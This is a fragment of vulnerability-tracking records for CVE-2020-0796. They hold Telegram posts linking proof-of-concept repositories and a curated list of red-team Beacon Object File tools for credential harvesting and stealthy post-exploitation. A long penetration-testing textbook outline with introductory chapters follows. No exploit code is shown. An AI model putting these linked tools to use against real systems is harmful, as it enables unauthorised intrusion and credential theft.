"2026-07-29T12:00:27.614620Z"}, {"uuid": "31c03188-fb6d-4a4a-81dd-9b1f768b2636", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CVEhub/13811", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796-POC*\nGithub: https://github.com/Ajomix/CVE-2020-0796-POC", "creation_timestamp": "2026-07-29T12:00:29.471995Z"}, {"uuid": "591185a3-388b-4d00-8d44-1d44c6231872", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/8OjhgXF3mmt8auvTnjEnscduEGsn1vFnrFQygNDpBnWvPiI", "content": "", "creation_timestamp": "2026-07-29T12:01:09.314259Z"}, {"uuid": "fd284dac-0a6e-41a0-82d7-e582e3fe484b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CVEhub/13929", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796*\nGithub: https://github.com/Ajomix/CVE-2020-0796", "creation_timestamp": "2026-07-30T00:00:51.518626Z"}, {"uuid": "0e4a2084-b651-4dea-b6d7-151f8c9e3a15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://t.me/CVEhub/13811", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2020-0796-POC*\nGithub: https://github.com/Ajomix/CVE-2020-0796-POC", "creation_timestamp": "2026-07-30T00:00:52.328099Z"}, {"uuid": "fedaf638-678d-4c22-9473-ebd26f6f7e1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "Telegram/8OjhgXF3mmt8auvTnjEnscduEGsn1vFnrFQygNDpBnWvPiI", "content": "", "creation_timestamp": "2026-07-30T00:01:48.041111Z"}, {"uuid": "b1cc82da-0afa-4204-99c7-1dd86b7c986e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17024", "content": "\ud83d\udd25 Advanced Red Team Tools \u2014 Top 20 BOF Repositories\n\nIn-Memory Beacon Object File (BOF) Modules for Red Teams\n\nThis is a curated list of 20 hidden or lesser-known BOF repositories on GitHub.\nBOFs are lightweight in-memory modules designed to run inside C2 agents such as Cobalt Strike, Havoc, or Adaptix, allowing Red Teams to extend post-exploitation capabilities without dropping full executables.\n\n\ud83d\udccc Purpose:\n\u2022 System enumeration\n\u2022 Credential collection\n\u2022 Process and memory analysis\n\u2022 Privilege escalation research\n\u2022 Firewall, clipboard, and network utility functions\n\n\ud83d\udccc Top 20 BOF GitHub Repositories\n1\ufe0f\u20e3 Cobalt\u2011Strike/bof_template \u2014 Official BOF template & examples\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof_template\n\n2\ufe0f\u20e3 REDMED\u2011X/OperatorsKit \u2014 BOF module kit for post-exploitation tasks\n\ud83d\udc49 https://github.com/REDMED-X/OperatorsKit\n\n3\ufe0f\u20e3 hrtywhy/BOF\u2011CobaltStrike \u2014 Collection of useful BOF modules\n\ud83d\udc49 https://github.com/hrtywhy/BOF-CobaltStrike\n\n4\ufe0f\u20e3 CS\u2011Situational\u2011Awareness\u2011BOF \u2014 Situational awareness BOF modules\n\ud83d\udc49 https://github.com/trustedsec/CS-Situational-Awareness-BOF\n\n5\ufe0f\u20e3 N7WEra/BofAllTheThings \u2014 Comprehensive BOF collection\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings\n\n6\ufe0f\u20e3 Cobalt\u2011Strike/bof\u2011vs \u2014 Visual Studio BOF template\n\ud83d\udc49 https://github.com/Cobalt-Strike/bof-vs\n\n7\ufe0f\u20e3 ricardojoserf/BOF_Files \u2014 Personal BOF module collection\n\ud83d\udc49 https://github.com/ricardojoserf/BOF_Files\n\n8\ufe0f\u20e3 Lavender\u2011exe/BofCollection \u2014 Havoc-compatible BOF collection\n\ud83d\udc49 https://github.com/Lavender-exe/BofCollection\n\n9\ufe0f\u20e3 soheil\u201101/coff_loader \u2014 COFF/BOF loader experiments\n\ud83d\udc49 https://github.com/soheil-01/coff_loader\n\n1\ufe0f\u20e30\ufe0f\u20e3 TrustedSec/ZeroLogon\u2011BOF \u2014 ZeroLogon exploit BOF example\n\ud83d\udc49 https://github.com/TrustedSec/ZeroLogon-BOF\n\n1\ufe0f\u20e31\ufe0f\u20e3 TrustedSec/CVE\u20112020\u20110796\u2011BOF \u2014 SMBv3 vulnerability BOF example\n\ud83d\udc49 https://github.com/TrustedSec/CVE-2020-0796-BOF\n\n1\ufe0f\u20e32\ufe0f\u20e3 Cobalt\u2011Strike/unhook\u2011bof \u2014 Beacon API unhook BOF module\n\ud83d\udc49 https://github.com/Cobalt-Strike/unhook-bof\n\n1\ufe0f\u20e33\ufe0f\u20e3 wsummerhill/CobaltStrike_BOF_Collections \u2014 Legacy BOF module collection\n\ud83d\udc49 https://github.com/wsummerhill/CobaltStrike_BOF_Collections\n\n1\ufe0f\u20e34\ufe0f\u20e3 Boku7/xPipe \u2014 Pipe information BOF utility (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/xPipe\n\n1\ufe0f\u20e35\ufe0f\u20e3 DallasFR/Cobalt\u2011Clip \u2014 Clipboard monitoring BOF (from BofAllTheThings)\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Clipboard\n\n1\ufe0f\u20e36\ufe0f\u20e3 EspressoCake/Firewall_Walker_BOF \u2014 Windows Firewall BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Firewall_Walker\n\n1\ufe0f\u20e37\ufe0f\u20e3 EspressoCake/Process_Protection_Level_BOF \u2014 Process Protection Level BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/Process_Protection_Level\n\n1\ufe0f\u20e38\ufe0f\u20e3 trainr3kt/NoteThief \u2014 Notepad unsaved data capture BOF\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/NoteThief\n\n1\ufe0f\u20e39\ufe0f\u20e3 jsecu/CredManBOF \u2014 Credential Manager BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredManBOF\n\n2\ufe0f\u20e30\ufe0f\u20e3 xforcered/CredBandit \u2014 Memory process dump BOF module\n\ud83d\udc49 https://github.com/N7WEra/BofAllTheThings/tree/master/CredBandit\n\n\ud83e\udde0 Quick Notes\n\u2022 Most of these BOFs are Cobalt Strike-focused, but several are compatible with Havoc and other C2 frameworks.\n\u2022 BOFs are executed in-memory, reducing disk artifacts and improving stealth.\n\u2022 These modules cover tasks like credential harvesting, system enumeration, privilege escalation, and network/endpoint exploration.\n\n\ud83d\udccd Explore more BOF repos:\nGitHub topic: https://github.com/topics/beacon-object-file\n\n\ud83d\udca1 Red Team Insight\nBOFs allow Red Teams to rapidly extend agent functionality while minimizing forensic traces.\nA well-curated BOF toolkit improves post-exploitation efficiency, stealth, and modular attack workflow.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:07.225487Z"}, {"uuid": "7a076ca4-95fe-43a7-a933-d5551d2065f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-0796", "type": "seen", "source": "https://gist.github.com/bbrk364/d688fb0a89305ef9d6ab1f355841f463", "content": "# Penetration Testing & Red Team Operations\n## From Ethical Hacking to Advanced Adversary Emulation\n\n- ## PART I \u2013 FOUNDATIONS OF OFFENSIVE SECURITY\n\n  - ### Chapter 1: Introduction to Penetration Testing\n    - 1.1 History of Ethical Hacking\n    - 1.2 Threat Landscape Evolution\n    - 1.3 Penetration Testing vs Red Teaming vs Bug Bounty\n    - 1.4 Types of Penetration Tests\n    - 1.5 Rules of Engagement\n    - 1.6 Legal and Compliance Considerations\n    - 1.7 Professional Certifications (OSCP, CRTO, OSEP, CEH)\n    - 1.8 Lab Environment Setup\n\n  - ### Chapter 2: Red Teaming Fundamentals\n    - 2.1 Red Team vs Blue Team vs Purple Team\n    - 2.2 Adversary Simulation Concepts\n    - 2.3 Cyber Kill Chain Model\n    - 2.4 Mapping to MITRE ATT&CK\n    - 2.5 Threat Intelligence Integration\n    - 2.6 Campaign Planning\n    - 2.7 OPSEC Fundamentals\n\n  - ### Chapter 3: Lab Infrastructure & Tooling\n    - 3.1 Virtualization (VMware, VirtualBox, Proxmox)\n    - 3.2 Setting up Kali Linux\n    - 3.3 Using C2 Frameworks\n    - 3.4 Secure Communication Channels\n    - 3.5 Traffic Redirection & Tunneling\n    - 3.6 Logging & Lab Telemetry\n\n- ## PART II \u2013 RECONNAISSANCE & INTELLIGENCE GATHERING\n\n  - ### Chapter 4: Open-Source Intelligence (OSINT)\n    - 4.1 Passive Recon Techniques\n    - 4.2 WHOIS & DNS Enumeration\n    - 4.3 Subdomain Enumeration\n    - 4.4 Metadata Extraction\n    - 4.5 Social Media Intelligence\n    - 4.6 Breach Data Analysis\n\n  - ### Chapter 5: Active Reconnaissance\n    - 5.1 Network Scanning Fundamentals\n    - 5.2 TCP/IP Deep Dive\n    - 5.3 Port Scanning Techniques\n    - 5.4 Service Enumeration\n    - 5.5 Banner Grabbing\n    - 5.6 Vulnerability Scanning\n\n  - ### Chapter 6: Attack Surface Mapping\n    - 6.1 External vs Internal Surfaces\n    - 6.2 Shadow IT Discovery\n    - 6.3 Cloud Asset Discovery\n    - 6.4 Third-Party Risk\n    - 6.5 API & Microservices Mapping\n\n- ## PART III \u2013 WEB APPLICATION PENETRATION TESTING\n\n  - ### Chapter 7: Web Fundamentals\n    - 7.1 HTTP/HTTPS Deep Dive\n    - 7.2 Authentication & Sessions\n    - 7.3 Cookies & Tokens\n    - 7.4 Same-Origin Policy\n    - 7.5 CORS\n\n  - ### Chapter 8: OWASP Top 10 Deep Dive\n    - 8.1 Broken Access Control\n    - 8.2 Cryptographic Failures\n    - 8.3 Injection Attacks\n    - 8.4 Insecure Design\n    - 8.5 Security Misconfiguration\n    - 8.6 Vulnerable Components\n    - 8.7 Identification & Authentication Failures\n    - 8.8 Software & Data Integrity Failures\n    - 8.9 Logging & Monitoring Failures\n    - 8.10 SSRF\n\n  - ### Chapter 9: Advanced Web Attacks\n    - 9.1 Deserialization Attacks\n    - 9.2 Prototype Pollution\n    - 9.3 GraphQL Exploitation\n    - 9.4 JWT Attacks\n    - 9.5 Web Cache Poisoning\n    - 9.6 Business Logic Exploitation\n\n  - ### Chapter 10: API Security Testing\n    - 10.1 REST & SOAP Testing\n    - 10.2 API Authentication Bypass\n    - 10.3 Rate Limiting Attacks\n    - 10.4 Mass Assignment\n    - 10.5 API Fuzzing\n\n- ## PART IV \u2013 NETWORK PENETRATION TESTING\n\n  - ### Chapter 11: Internal Network Attacks\n    - 11.1 ARP Spoofing\n    - 11.2 LLMNR/NBT-NS Poisoning\n    - 11.3 SMB Attacks\n    - 11.4 Relay Attacks\n    - 11.5 Password Spraying\n\n  - ### Chapter 12: Active Directory Exploitation\n    - 12.1 AD Architecture\n    - 12.2 Kerberos Deep Dive\n    - 12.3 Pass-the-Hash\n    - 12.4 Pass-the-Ticket\n    - 12.5 Golden Ticket\n    - 12.6 Silver Ticket\n    - 12.7 DCSync\n    - 12.8 ACL Abuse\n    - 12.9 AD CS Attacks\n\n  - ### Chapter 13: Lateral Movement\n    - 13.1 Remote Service Abuse\n    - 13.2 WMI & WinRM\n    - 13.3 RDP Hijacking\n    - 13.4 Pivoting Techniques\n    -  13.5 SOCKS Proxies\n\n- ## PART V \u2013 EXPLOITATION & POST-EXPLOITATION\n\n  - ### Chapter 14: Exploit Development Basics\n    - 14.1 Buffer Overflows\n    - 14.2 Stack vs Heap\n    - 14.3 Shellcode Development\n    - 14.4 Fuzzing\n    - 14.5 Bypassing DEP/ASLR\n\n  - ### Chapter 15: Privilege Escalation\n    - 15.1 Windows PrivEsc\n    - 15.2 Linux PrivEsc\n    - 15.3 SUID & Capabilities\n    - 15.4 Kernel Exploitation\n    - 15.5 Credential Dumping\n\n  - ### Chapter 16: Command & Control (C2)\n    - 16.1 C2 Architecture\n    - 16.2 Beaconing Techniques\n    - 16.3 Evasion Strategies\n    - 16.4 Payload Obfuscation\n    - 16.5 HTTPS & DNS C2\n    - 16.6 OPSEC Failures\n\n- ## PART VI \u2013 CLOUD & MODERN INFRASTRUCTURE\n\n  - ### Chapter 17: Cloud Penetration Testing\n    - 17.1 AWS Security Model\n    - 17.2 Azure Security Model\n    - 17.3 IAM Abuse\n    - 17.4 S3 Bucket Attacks\n    - 17.5 Container Escape\n\n  - ### Chapter 18: Kubernetes & Containers\n    - 18.1 Kubernetes Architecture\n    - 18.2 Pod Escape\n    - 18.3 RBAC Exploitation\n    - 18.4 Supply Chain Attacks\n\n- ## PART VII \u2013 SOCIAL ENGINEERING & PHYSICAL SECURITY\n\n  - ### Chapter 19: Social Engineering\n    - 19.1 Phishing Campaigns\n    - 19.2 Spear Phishing\n    - 19.3 Pretexting\n    - 19.4 Vishing\n    - 19.5 Payload Delivery\n\n  - ### Chapter 20: Physical Red Teaming\n    - 20.1 Badge Cloning\n    - 20.2 Tailgating\n    - 20.3 Lock Picking\n    - 20.4 USB Drops\n    - 20.5 Hardware Implants\n\n- ## PART VIII \u2013 EVASION & DEFENSE BYPASS\n\n  - ### Chapter 21: AV/EDR Evasion\n    - 21.1 Signature Evasion\n    - 21.2 Behavioral Detection\n    - 21.3 AMSI Bypass\n    - 21.4 ETW Bypass\n    - 21.5 In-Memory Execution\n\n  - ### Chapter 22: Logging & Detection Bypass\n    - 22.1 SIEM Evasion\n    - 22.2 Log Tampering\n    - 22.3 Living Off The Land (LOLBins)\n    - 22.4 Fileless Malware\n\n- ## PART IX \u2013 REPORTING & PROFESSIONAL PRACTICE\n\n  - ### Chapter 23: Reporting\n    - 23.1 Executive Summary\n    - 23.2 Risk Rating Methodologies\n    - 23.3 CVSS Scoring\n    - 23.4 Remediation Guidance\n    - 23.5 Evidence Documentation\n\n  - ### Chapter 24: Red Team Campaign Reporting\n    - 24.1 Attack Narrative\n    - 24.2 Timeline Creation\n    - 24.3 Impact Analysis\n    - 24.4 Detection Gaps\n    - 24.5 Purple Team Collaboration\n\n- ## PART X \u2013 ADVANCED RED TEAM OPERATIONS\n\n  - ### Chapter 25: Adversary Emulation\n    - 25.1 Threat Actor Profiling\n    - 25.2 TTP Replication\n    - 25.3 Campaign Automation\n    - 25.4 Long-Term Persistence\n\n  - ### Chapter 26: Malware Development for Red Teams\n    - 26.1 Custom Loaders\n    - 26.2 Reflective DLL Injection\n    - 26.3 Process Hollowing\n    - 26.4 Encryption & Packing\n    - 26.5 Sandbox Evasion\n\n  - ### Chapter 27: Operational Security (OPSEC)\n    - 27.1 Infrastructure Hardening\n    - 27.2 Redirectors\n    - 27.3 Domain Fronting\n    - 27.4 Infrastructure Burn Analysis\n\n- ## PART XI \u2013 SPECIALIZED TESTING\n\n  - ### Chapter 28: Mobile Application Pentesting\n    - 28.1 Android Security\n    - 28.2 iOS Security\n    - 28.3 Mobile Reverse Engineering\n    - 28.4 API Backend Attacks\n\n  - ### Chapter 29: Wireless Attacks\n    - 29.1 Wi-Fi Attacks\n    - 29.2 WPA3 Testing\n    - 29.3 Evil Twin\n    - 29.4 Bluetooth Exploitation\n\n  - ### Chapter 30: ICS/OT Red Teaming\n    - 30.1 SCADA Architecture\n    - 30.2 PLC Exploitation\n    - 30.3 Modbus Attacks\n    - 30.4 Industrial Safety Risks\n\n- ## PART XII \u2013 APPENDICES\n  - A. Tool Reference Guide\n  - B. Cheat Sheets\n  - C. Command Reference\n  - D. Lab Exercises\n  - E. Real-World Case Studies\n  - F. Sample Engagement Templates\n  - G. Legal Templates\n  - H. Recommended Reading\n\n# Penetration Testing & Red Team Operations\n## From Ethical Hacking to Advanced Adversary Emulation\n\n---\n\n# PART I \u2013 FOUNDATIONS OF OFFENSIVE SECURITY\n\n## Chapter 1: Introduction to Penetration Testing\n\n### 1.1 History of Ethical Hacking\n\nThe origins of ethical hacking trace back to the 1970s, when computer systems were massive mainframes accessible only to government agencies, research institutions, and large corporations. During this era, the concept of \"hacking\" carried a positive connotation\u2014it referred to creative problem-solving and exploring system limitations to improve functionality.\n\n**The Telephone Freaking Era**\n\nThe 1970s witnessed the rise of \"phone phreaking,\" where individuals like John Draper (Captain Crunch) discovered that toy whistles included in cereal boxes emitted a 2600 Hz tone\u2014the exact frequency used by telephone companies to authorize toll calls. This discovery led to the exploration of telecommunications systems, not necessarily for malicious purposes but to understand and manipulate the infrastructure. Draper's work caught the attention of two budding entrepreneurs, Steve Jobs and Steve Wozniak, who built and sold \"blue boxes\" for making free long-distance calls, funding the eventual creation of Apple Computer.\n\n**The Birth of Computer Security**\n\nThe 1980s marked a pivotal shift as personal computers became more accessible. The term \"hacker\" began dividing into two distinct categories: those who hacked for knowledge and improvement, and those who hacked for malicious intent. The 1983 film \"WarGames\" dramatized a teenager accidentally accessing a military supercomputer, bringing computer security concerns to the public consciousness. That same year, the term \"Trojan Horse\" entered the cybersecurity lexicon with the publication of a paper by Ken Thompson, co-creator of Unix, discussing how compilers could be compromised to insert backdoors.\n\n**The Formalization of Ethical Hacking**\n\nDan Farmer and Wietse Venema recognized the need for proactive security assessment and created the Security Administrator Tool for Analyzing Networks (SATAN) in 1995\u2014one of the first vulnerability scanners. This tool allowed administrators to identify weaknesses before attackers could exploit them. However, its release sparked controversy, with many arguing that such tools would empower malicious hackers. This debate highlighted the dual-use nature of security tools and the ethical responsibilities of security professionals.\n\nThe term \"ethical hacking\" gained formal recognition in the late 1990s, largely through the efforts of organizations like the International Council of E-Commerce Consultants (EC-Council), which introduced the Certified Ethical Hacker (CEH) certification in 2003. This certification aimed to legitimize offensive security practices and establish standards for professionals conducting authorized security assessments.\n\n**The Modern Era**\n\nToday, ethical hacking has evolved into a sophisticated discipline encompassing numerous specializations. The rise of bug bounty platforms like HackerOne and Bugcrowd has democratized vulnerability discovery, allowing organizations to leverage global talent pools for continuous security testing. Major technology companies now maintain dedicated red teams that continuously simulate adversarial operations against their own infrastructure, embodying the principle that the best defense is understanding the offense.\n\n### 1.2 Threat Landscape Evolution\n\nUnderstanding the evolution of the threat landscape is fundamental to appreciating modern penetration testing methodologies. The past three decades have witnessed a dramatic transformation in attacker motivations, techniques, and targets.\n\n**The Early Internet (1990s)**\n\nThe 1990s internet represented a digital frontier with minimal security considerations. Protocols like HTTP, FTP, and SMTP transmitted data in cleartext, and firewalls were rudimentary at best. Attackers during this era were primarily motivated by curiosity, notoriety, and the challenge of breaking into systems. The concept of \"hacktivism\" emerged with groups like the Cult of the Dead Cow (cDc) releasing tools like Back Orifice\u2014a remote administration tool that exposed the insecurity of Windows operating systems.\n\n**The Monetization Era (2000s)**\n\nThe commercialization of the internet brought corresponding commercialization of cybercrime. Attackers discovered that compromised systems had financial value. Botnets emerged as a profitable business model, with networks of infected computers rented for distributed denial-of-service (DDoS) attacks or spam distribution. The 2000s saw the rise of organized cybercrime groups operating with professional discipline, developing malware, managing infrastructure, and monetizing access through underground markets.\n\nCredit card theft became a primary objective, culminating in high-profile breaches like TJX Companies (2007), which exposed 94 million credit card numbers. This breach highlighted the risks associated with payment card data and led to the development of the Payment Card Industry Data Security Standard (PCI DSS).\n\n**The APT Era (2010s)**\n\nThe 2010s marked the emergence of Advanced Persistent Threats (APTs)\u2014state-sponsored or state-affiliated groups conducting long-term, targeted operations against specific organizations. The 2010 Stuxnet attack against Iranian nuclear facilities represented a watershed moment, demonstrating that nation-states could develop sophisticated cyber weapons capable of causing physical destruction. Operation Aurora (2009-2010), attributed to Chinese actors, targeted Google and dozens of other technology companies, exposing the vulnerability of intellectual property to cyber espionage.\n\nThe 2014 Sony Pictures hack, attributed to North Korea, demonstrated that entertainment companies were not immune to nation-state attacks, while the 2015 and 2016 Ukrainian power grid attacks showed that critical infrastructure remained vulnerable to disruption.\n\n**The Ransomware Pandemic (2020s)**\n\nThe current threat landscape is dominated by ransomware\u2014a business model that has evolved from opportunistic encryption to sophisticated, targeted operations. Groups like REvil, DarkSide, and Conti operate with corporate professionalism, maintaining help desks for victims, negotiating ransom payments, and leaking stolen data when victims refuse to pay. The Colonial Pipeline attack in 2021 demonstrated how ransomware could disrupt critical infrastructure, causing fuel shortages across the Eastern United States.\n\nSupply chain attacks have emerged as a force multiplier for adversaries. The SolarWinds attack (2020) compromised software updates to infiltrate thousands of organizations, including multiple U.S. government agencies. This attack highlighted the interconnected nature of modern software ecosystems and the catastrophic potential of compromising trusted vendors.\n\n### 1.3 Penetration Testing vs Red Teaming vs Bug Bounty\n\nUnderstanding the distinctions between penetration testing, red teaming, and bug bounty programs is essential for selecting appropriate security assessment methodologies.\n\n**Penetration Testing**\n\nPenetration testing represents a focused, time-bound assessment of specific systems, applications, or network segments. The objective is to identify exploitable vulnerabilities within defined scope boundaries. Penetration tests typically follow a structured methodology:\n\n- **Reconnaissance and intelligence gathering** within scope boundaries\n- **Vulnerability identification** through automated scanning and manual verification\n- **Exploitation** to demonstrate impact\n- **Reporting** with prioritized remediation guidance\n\nPenetration tests are often compliance-driven, satisfying requirements from regulations like PCI DSS, HIPAA, or ISO 27001. The scope is clearly defined and limited, and the testing occurs over a fixed period\u2014typically one to four weeks. The penetration tester operates with some level of privileged knowledge (depending on the testing type) and focuses on depth within the defined scope rather than breadth across the entire organization.\n\n**Red Teaming**\n\nRed teaming represents a goal-based, adversarial simulation designed to test an organization's detection and response capabilities alongside its security controls. Unlike penetration testing, which asks \"what vulnerabilities exist?\", red teaming asks \"can an adversary achieve specific objectives without detection?\"\n\nKey characteristics of red teaming include:\n\n- **Stealth and operational security** as primary objectives\n- **Goal-oriented operations** (access sensitive data, disrupt operations, maintain persistence)\n- **Testing people, processes, and technology** simultaneously\n- **Extended timelines** ranging from weeks to months\n- **No advance warning** for defensive teams\n\nRed team operations typically follow the Cyber Kill Chain or similar frameworks, moving from initial reconnaissance through weaponization, delivery, exploitation, installation, command and control, and actions on objectives. Success is measured not by the number of vulnerabilities discovered but by whether the team achieved its objectives and how long they remained undetected.\n\n**Bug Bounty Programs**\n\nBug bounty programs represent a crowdsourced, continuous approach to security testing. Organizations invite vetted researchers to discover and responsibly disclose vulnerabilities in exchange for monetary rewards based on severity. Unlike penetration testing and red teaming, bug bounty:\n\n- **Operates continuously** rather than during discrete testing windows\n- **Leverages diverse researcher perspectives** and skill sets\n- **Scales with researcher participation** rather than fixed team sizes\n- **Focuses on vulnerability discovery** rather than operational simulation\n- **Incentivizes quality findings** through reward structures\n\nBug bounty programs complement traditional testing methodologies by providing ongoing coverage between scheduled assessments. However, they typically lack the coordinated, objective-driven approach of red teaming and may miss vulnerabilities requiring complex, multi-step exploitation chains.\n\n### 1.4 Types of Penetration Tests\n\nPenetration testing encompasses various methodologies distinguished by the level of information provided to testers and the testing perspective.\n\n**Black Box Testing**\n\nIn black box testing, the penetration tester receives no privileged information about the target environment. The tester begins with only the organization name or target URLs, simulating an external attacker with no inside knowledge. This approach:\n\n- **Most closely simulates real-world attackers** who must discover vulnerabilities through reconnaissance\n- **Tests the organization's public-facing attack surface** comprehensively\n- **Requires significant time investment** for reconnaissance\n- **May miss vulnerabilities** discoverable through source code or architecture review\n\nBlack box testing is valuable for assessing what information is publicly available and how external attackers might approach the organization. However, the artificial time constraints of typical testing engagements mean that testers cannot fully replicate the patience and persistence of sophisticated adversaries.\n\n**White Box Testing**\n\nWhite box testing provides the penetration tester with complete information about the target environment, including source code, architecture diagrams, credentials, and configuration details. This approach:\n\n- **Maximizes depth of assessment** by eliminating reconnaissance overhead\n- **Enables comprehensive code review** for vulnerability identification\n- **Identifies vulnerabilities quickly**, making efficient use of limited testing time\n- **May miss vulnerabilities** related to information disclosure or reconnaissance\n\nWhite box testing is particularly valuable for applications where source code access enables deep vulnerability analysis. Compliance frameworks often require white box testing for critical systems due to the comprehensive coverage it enables.\n\n**Grey Box Testing**\n\nGrey box testing represents a compromise between black and white approaches, providing testers with limited information\u2014typically authenticated access to applications or basic network diagrams. This approach:\n\n- **Balances realism with efficiency** by simulating an attacker with some inside knowledge\n- **Enables authenticated testing** of web applications\n- **Provides focused assessment** of specific systems or functionalities\n- **Most common testing methodology** in commercial engagements\n\nMost web application penetration tests follow a grey box methodology, providing testers with valid credentials to assess the application in an authenticated state while still requiring them to discover vulnerabilities through active testing.\n\n**External vs Internal Testing**\n\nExternal testing simulates attacks originating from outside the organization's network, targeting internet-facing systems, websites, and remote access services. Internal testing assumes the attacker has gained initial network access\u2014either through compromised credentials, physical presence, or malware\u2014and tests what damage they could accomplish from within.\n\n### 1.5 Rules of Engagement\n\nRules of Engagement (RoE) represent the formal agreement between the testing team and the client organization, defining the boundaries, constraints, and expectations for the engagement. Well-crafted RoE protect both parties and ensure testing objectives are achieved without unintended consequences.\n\n**Scope Definition**\n\nScope definition specifies exactly what systems, applications, and locations are included in testing. This section typically includes:\n\n- **IP address ranges** or CIDR blocks authorized for testing\n- **Domain names** and subdomains within scope\n- **Application URLs** and API endpoints\n- **Physical locations** for social engineering or physical testing\n- **Excluded systems** explicitly out of scope, such as production critical infrastructure or third-party hosted services\n\nScope boundaries must be clearly documented to prevent accidental testing of unauthorized systems. Many organizations maintain \"scope creep\" procedures for when testing reveals unexpected assets that may warrant inclusion.\n\n**Timing Constraints**\n\nTiming constraints define when testing may occur. These constraints address:\n\n- **Testing windows** (e.g., business hours only, 24/7, specific dates)\n- **Blackout periods** when testing is prohibited (e.g., financial quarter-end, holiday shopping season)\n- **Notification requirements** for potentially disruptive tests\n- **Emergency stop procedures** for terminating testing immediately\n\nOrganizations with critical systems often restrict intensive testing to maintenance windows, while others encourage testing during peak hours to assess performance impacts under load.\n\n**Rules of Engagement Boundaries**\n\nAdditional RoE elements include:\n\n- **Social engineering limitations** (e.g., no phishing targeting executives, no physical trespassing)\n- **Data handling requirements** for sensitive information discovered during testing\n- **Evidence collection guidelines** and retention periods\n- **Communication protocols** for critical findings during the engagement\n- **Legal considerations** and authorization documentation\n\n### 1.6 Legal and Compliance Considerations\n\nPenetration testing operates within a complex legal framework that varies by jurisdiction and industry. Understanding these considerations is essential for practicing within legal boundaries.\n\n**Authorization Requirements**\n\nWritten authorization from the system owner is the fundamental legal requirement for penetration testing. This authorization must:\n\n- **Be obtained before testing begins** and maintained throughout the engagement\n- **Specify exactly what systems are authorized** for testing\n- **Include signatures from individuals with legal authority** to grant access\n- **Address third-party systems** that may be affected during testing\n\nTesting without proper authorization constitutes unauthorized access under laws like the Computer Fraud and Abuse Act (CFAA) in the United States, the Computer Misuse Act in the UK, and similar legislation worldwide. Even well-intentioned testing can result in criminal charges without proper authorization.\n\n**Compliance Frameworks**\n\nMany industries operate under regulatory frameworks that mandate penetration testing:\n\n- **PCI DSS** requires annual external and internal penetration testing, along with testing after significant infrastructure changes\n- **HIPAA** requires security evaluations, typically interpreted as penetration testing for covered entities\n- **GDPR** doesn't explicitly mandate testing but requires appropriate security measures, with testing as a best practice\n- **ISO 27001** requires regular penetration testing as part of the information security management system\n- **FFIEC** requires financial institutions to conduct regular penetration testing\n\nUnderstanding which frameworks apply to client organizations helps structure testing methodologies to satisfy compliance requirements alongside security objectives.\n\n**Data Protection Considerations**\n\nPenetration testers inevitably encounter sensitive data during engagements. Legal obligations regarding this data include:\n\n- **Data minimization**\u2014collecting only necessary evidence\n- **Secure handling and storage** of client data\n- **Breach notification obligations** if test data is compromised\n- **Cross-border data transfer restrictions** under frameworks like GDPR\n- **Retention and destruction requirements** post-engagement\n\nMany organizations require penetration testers to sign Business Associate Agreements (BAAs) under HIPAA or Data Processing Agreements (DPAs) under GDPR before testing begins.\n\n### 1.7 Professional Certifications (OSCP, CRTO, OSEP, CEH)\n\nProfessional certifications validate penetration testing knowledge and skills, providing benchmarks for employers and clients evaluating security professionals.\n\n**Offensive Security Certified Professional (OSCP)**\n\nThe OSCP, offered by Offensive Security, represents the industry standard for penetration testing certification. Unlike multiple-choice exams, the OSCP requires candidates to successfully penetrate a series of machines in a VPN-connected lab environment within 24 hours, then produce a professional penetration test report within an additional 24 hours. The certification:\n\n- **Tests practical skills** rather than theoretical knowledge\n- **Requires manual exploitation** without automated tools\n- **Emphasizes methodology and documentation** alongside technical skills\n- **Serves as prerequisite** for advanced Offensive Security certifications\n\nThe OSCP's reputation stems from its hands-on nature\u2014candidates must demonstrate actual penetration testing ability, not just memorize concepts.\n\n**Certified Red Team Operator (CRTO)**\n\nThe CRTO, offered by Zero-Point Security, focuses specifically on red teaming methodologies and techniques. The certification covers:\n\n- **Command and control frameworks** like 